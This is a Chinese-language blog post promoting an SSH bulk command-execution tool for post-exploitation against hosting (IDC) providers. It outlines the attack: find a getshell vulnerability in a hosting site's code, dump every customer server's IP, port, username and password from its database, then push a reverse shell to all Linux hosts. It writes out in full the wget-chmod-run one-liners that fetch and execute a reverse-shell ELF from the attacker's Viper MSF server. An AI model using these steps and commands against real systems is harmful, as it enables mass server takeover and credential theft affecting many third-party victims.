idc后渗透 ssh 批量命令执行工具

Administrator 字数: 3694 阅读耗时: 9 分钟 2024/08/22 博客独享热度: 398 评论: 0

工具已发送github

工具链接地址:https://github.com/lmaqbailan/Wolf-eyed-safety/releases/tag/ssh

文章链接地址:https://github.com/lmaqbailan/Wolf-eyed-safety/tree/ssh

介绍：

本工具开发是用于idc后渗透的

......前面渗透过程不演示直接跳过：主要是信息收集

然后找个idc网站源码做个代码审计

挖到漏洞后，直接getshell(最好要挖能够直接getshell的漏洞)

进后台和数据库，主要目标是拿到里面的全部服务器信息，如ip端口用户名和密码

Windows的服务器就单独整理一下分类到一个.txt文本里面存起来，然后一个个尝试远程桌面连接

linux的也放在一个.txt文本里存起来，然后用整理工具整理一下，找不到工具的可以叫ai帮忙整理一下

整理成hostname:port:username:password和hostname port username password这两种格式；如：192.168.1.1:22:root:123456或：192.168.1.1 22 root 123456(两种格式，选择其中一种即可)

接下来准备好炫彩蛇msf

https://www.yuque.com/vipersec/help/rggacz

链接里面有安装教程

安装好后用设置好的密码开始登录，用户名固定是root

首先设置好监听

然后在炫彩蛇msf上生成个.elf反弹shell文件,另存为保存在自己电脑上，然后上传在炫彩蛇msf的文件列表

上传成功后，使用它的一句话下载功能，生成个linux 下载并执行命令，比如这样：wget -O 反弹shell.elf --no-check-certificate https://炫彩蛇msf公网ip地址:炫彩蛇登录的端口/api/v1/d/?en=q93zQFtVZBz6%2BjdUVQb7AA%3D%3D && chmod 755 反弹shell.elf && ./反弹shell.elf 这样的命令，然后使用本工具批量命令执行

要注意的是它只会下载并执行在root目录下，我们可以在命令前面加个 cd /根目录 && 命令；比如我要在etc目录中下载并执行可以使用这个命令：cd /etc && wget -O 反弹shell.elf --no-check-certificate https://炫彩蛇msf公网ip地址:炫彩蛇登录的端口/api/v1/d/?en=q93zQFtVZBz6%2BjdUVQb7AA%3D%3D && chmod 755 反弹shell.elf && ./反弹shell.elf

这样就可以在其他根目录中下载并执行，上线炫彩蛇msf后我们就可以更好的进行渗透了